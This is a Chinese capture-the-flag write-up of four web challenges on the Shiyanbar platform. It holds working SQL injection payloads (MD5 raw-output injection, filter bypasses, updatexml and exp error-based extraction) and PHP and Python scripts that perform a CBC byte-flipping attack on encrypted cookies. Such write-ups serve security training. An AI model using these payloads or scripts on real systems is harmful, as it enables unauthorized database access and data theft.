實驗吧CTF題庫writeup

2019-04-28php

題目1. 後臺登陸      分值:10     解題參考:https://blog.csdn.net/March97/article/details/81222922 html

解題連接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.phpmysql

打開是一個登陸頁面git

 

查看網頁源碼,發現提示github

1 <!-- $password=$_POST['password']; 2     $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"; 3     $result=mysqli_query($link,$sql); 4         if(mysqli_num_rows($result)>0){ 5             echo 'flag is :'.$flag; 6  } 7         else{ 8             echo '密碼錯誤!'; 9         } -->

md5($password,true)處存在sql注入點,該函數的做用以下web

若是某個字符串通過md5('XXX',true)加密以後的結果包含 ‘’or'+數字,便可構造出一個sql注入語句。在題目連接中包含的字符串即爲登陸密碼字符串 「ffifdyopsql

該字符串不惟一,只要通過md5('XXX',true)加密以後的結果包含 ‘’or'+數字 就能夠提交成功,拿到flag。數據庫

 

 

 

題目2. 簡單的登陸題     分值:50服務器

解題參考:cookie

https://blog.csdn.net/LeeHDsniper/article/details/81089480#

https://blog.csdn.net/include_heqile/article/details/79942993

https://hebin.me/2018/01/26/西普ctf-簡單的登陸題/

https://www.freebuf.com/articles/system/163756.html

https://r00tnb.github.io/2018/02/09/%E5%AE%9E%E9%AA%8C%E5%90%A7-%E7%AE%80%E5%8D%95%E7%9A%84%E7%99%BB%E5%BD%95%E9%A2%98/

CBC字節翻轉攻擊:

https://blog.csdn.net/xiaorouji/article/details/82777482

https://blog.csdn.net/csu_vc/article/details/79619309

https://www.freebuf.com/articles/system/163756.html

http://shaobaobaoer.cn/archives/582/cbc%E5%AD%97%E7%AC%A6%E7%BF%BB%E8%BD%AC-%E5%8E%9F%E7%90%86%E4%B8%8E%E5%AE%9E%E6%88%98

解密過程以下圖:

正常流程 B ^ C = A  

根據異或運算的性質    C = A ^ B   ;    C ^ C = A ^ B ^ C = 0

漏洞利用  (B ^ X ^ A) ^ C = X (X爲指定的任意任意字符);

將B的值與(X ^ A)異或後再參與運算就能夠控制生成的明文爲咱們指定的字符X

 

 經過閱讀源碼得知,輸入框過濾了#的,先嚐試用字節翻轉攻擊使用#註釋掉limit $id,0中的,0

Step1

發送以下數據包:

 

 

設置id=11(兩位數,後面須要把個位換成#,用於截斷sql語句)。服務器返回了iv和cipher,而後本身計算一下序列化以後的結果

 

結果爲:a:1:{s:2:"id";s:2:"11";}

Step2

16個byte爲一組,進行分組:
BLOCK#1:a:1:{s:2:"id";s:
BLOCK#2:2:"11";}

先修改cipher中的BLOCK#1的密文,使得BLOCK#2的解密後結果爲2:"1#";},這樣就可以使用#註釋掉,0了。

 

<?php
$id="11";
$info= array('id'=>$id);
echo serialize($info);
echo "\n\n";
$cipher="%2BC4Qj7hli7Y0m1gTxynIvgW04jPnVGGLwKr%2FetoBhAg%3D";
$cipher=urldecode($cipher);
$cipher=base64_decode($cipher);
echo $cipher;
echo "\n\n";
$cipher[4]=chr(ord($cipher[4])^ord('1')^ord('#'));
$cipher=base64_encode($cipher);
$cipher=urlencode($cipher);
echo "$cipher\n";
?>

 獲得的cipher值爲 %2BC4Qj6pli7Y0m1gTxynIvgW04jPnVGGLwKr%2FetoBhAg%3D

使用這個cipher的值,iv不變,post數據包:(在攔截到的頁面刷新數據包中修改)

服務器返回的結果:沒法正常反序列化。由於咱們爲了修改明文塊2而修改了密文塊1,密文塊1被修改後再利用原始的IV解密後的獲得的明文塊1是亂碼,沒法進行反序列化。

Step3

因爲密文塊1被修改,致使上一步獲得的密文cipher使用key解密後未執行異或運算前的值也受到影響,咱們其設爲A,一樣,對於解密出的亂碼明文咱們設爲B,該過程以下圖

 

上圖的過程爲 A ^ old_IV = B

根據與或運算的性質  A ^ old_IV ^ B = 0

                                 A ^ old_IV ^ B ^ C = C

只須要設置新的new_IV = old_IV ^ B ^ C ,通過運算以後 A ^ new_IV = C

 

咱們須要讓解密出的明文是正常可讀的也就是BLOCK#1:a:1:{s:2:"id";s: ,設該正常明文爲C

 

咱們只須要修改IV,令其爲上面式子中計算出的new_IV 就能操縱第一個被修改後的密文塊解密出正常的明文。

經過上面的返回包,咱們知道了亂碼明文的base64值,以及本來正常的明文值,依據上面的公式計算便可:

<?php
$iv = "HHlASI4ryCrrI%2BmMbTeZCg%3D%3D";
$iv = urldecode($iv);
$iv = base64_decode($iv);
$block_wrong="KoiB/4AS1KFkT76b+vUryjI6IjEjIjt9";
$block_wrong=base64_decode($block_wrong);
$block_right="a:1:{s:2:\"id\";s:";
for ($i=0;$i<16;$i++)
{
$iv[$i] = chr(ord($block_wrong[$i]) ^ ord($iv[$i]) ^ ord($block_right[$i]));
}
$iv=base64_encode($iv);
$iv=urlencode($iv);
echo "$iv\n";
?>

輸出結果爲:V8vwjXVKJrm1Tj5ztfnB%2Bg%3D%3D

使用這個iv替換數據包中的iv,再次重放:

注入成功。

最後利用上面找到的注入點和原理編寫腳本就能夠拿到flag了

下面是參考腳本:http://www.javashuo.com/article/p-usdliwxd-cv.html

import requests
import re
from base64 import *
from urllib import quote,unquote

url="http://ctf5.shiyanbar.com/web/jiandan/index.php"

def find_flag(payload,cbc_flip_index,char_in_payload,char_to_replace):
    payload = {"id":payload}
    r=requests.post(url,data=payload)
    iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0]
    cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0]
    cipher=unquote(cipher)
    cipher=b64decode(cipher)
    cipher_list=list(cipher)
    cipher_list[cbc_flip_index] = chr(ord(cipher_list[cbc_flip_index])^ord(char_in_payload)^ord(char_to_replace))
    cipher_new=''.join(cipher_list)
    cipher_new=b64encode(cipher_new)
    cipher_new=quote(cipher_new)
    cookie = {'iv':iv,'cipher':cipher_new}
    r=requests.post(url,cookies=cookie)
    content = r.content
    plain_base64=re.findall("base64_decode\(\'(.*?)\'\)",content)[0]
    plain=b64decode(plain_base64)
    first_block_plain="a:1:{s:2:\"id\";s:"
    iv=unquote(iv)
    iv=b64decode(iv)
    iv_list=list(iv)
    for i in range(16):
        iv_list[i]=chr(ord(plain[i]) ^ ord(iv_list[i]) ^ ord(first_block_plain[i]))
    iv_new=''.join(iv_list)
    iv_new=b64encode(iv_new)
    iv_new=quote(iv_new)
    cookie = {'iv':iv_new,'cipher':cipher_new}
    r=requests.post(url,cookies=cookie)
    return r.content
def get_columns_count():
    table_name=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
    for i in range(len(table_name)):
        payload="(select 1)a"
        if i==0:
            payload = "0 2nion select * from("+payload+");"+chr(0);
            content=find_flag(payload,6,'2','u')
            resp=re.findall(".*(Hello!)(\d).*",content)
            if resp:
                print "table has 1 column and response position is 1"
                return payload
            else:
                print "table does not have %d columns" % (i+1)
            continue
        for t in range(i):
            payload=payload+" join (select %d)%s" % (t+2,table_name[t+1])
        payload = "0 2nion select * from("+payload+");"+chr(0);
        content=find_flag(payload,6,'2','u')
        resp=re.findall(".*(Hello!)(\d).*",content)
        if resp:
            print "table has %d column and response position is %s" % (i+1,resp[0][1])
            return payload
        else:
            print "table does not have %d columns" % (i+1)
payload=get_columns_count()
print payload
print find_flag('12',4,'2','#')
print find_flag('0 2nion select * from((select 1)a);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0),6,'2','u')
--------------------- 
做者:LeeHDsniper 
來源:CSDN 
原文:https://blog.csdn.net/LeeHDsniper/article/details/81089480 
版權聲明:本文爲博主原創文章,轉載請附上博文連接!

獲得flag爲:

 

題目3. 登錄一下好嗎??      分值:20

解題連接: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 

網頁源碼也沒有可利用的地方

只能從登陸輸入框嘗試進行sql注入,

使用該語句測試:' union select * from a where 1-1+1/1 or 1=1 | 1 join 1/* #%00

  

發現過濾瞭如下字符 

 | , – , or , union , # , select ,* ,/

構造的sql注入語句要繞過這些字符。

猜想其後臺的sql語句爲 select * from table where username= ‘username′ and password=′password

 使用的sql語句要使得 username= ‘username′ 和password=′password’這兩個表達式返回的結果爲真

能夠使用  0'='0  ,得到flag

 

語句並不惟一,只要符合 X'='X 便可(X爲任意字符,能夠爲空)

題目4. 加了料的報錯注入      分值:35

  解題參考:https://blog.csdn.net/qq_35078631/article/details/79221618

                   https://blog.csdn.net/xingyyn78/article/details/79737070

打開題目連接提示使用post方式提交用戶名和密碼,使用burp構造數據包後提交

在返回包中提示了後臺SQL查詢語句  <!-- $sql="select * from users where username='$username' and password='$password'"; -->

 根據題目提示的報錯注入,使用burp中intruder模塊嘗試爆破

 burpsuite的intruder模塊簡介

十種MySQL報錯注入

12種報錯注入+萬能語句

  

 username的參數updatexml沒有禁掉,可是禁掉了圓括號。

password參數,沒有禁掉圓括號,可是禁掉了等號。

 

所以經過updatexml在存儲非XPath格式的字符串時的報錯輸出得到所須要的信息。

UPDATEXML (XML_document, XPath_string, new_value); 

第一個參數:XML_document是String格式,爲XML文檔對象的名稱。
第二個參數:XPath_string (Xpath格式的字符串) ,若是不瞭解Xpath語法,能夠在網上查找教程。 
第三個參數:new_value,String格式,替換查找到的符合條件的數據
經過將用戶名中加入updatexml,並將中間內容註釋掉,就能夠使用updatexml函數。使用select database()函數得到數據庫名。

 

方法一

獲取數據庫名:

username=1' and updatexml/*&

password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1


<br>XPATH syntax error: '~error_based_hpf~'

 

獲取表名:

username=1' and updatexml/*

&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf') ),0x7e),3)or'1


<br>XPATH syntax error: '~ffll44jj,users~'

 

獲取列名:

username=1' and updatexml/*

&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj') ),0x7e),3)or'1


<br>XPATH syntax error: '~value~'

 

獲取字段值:

username=1' and updatexml/*
&password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1


<br>XPATH syntax error: '~flag{err0r_b4sed_sqli_+_hpf}~'

 

方法二 : 利用exp報錯注入

username=1' and exp/*
&password=*/(~(select * from (select value from ffll44jj)x))or'1

相關文章
相關標籤/搜索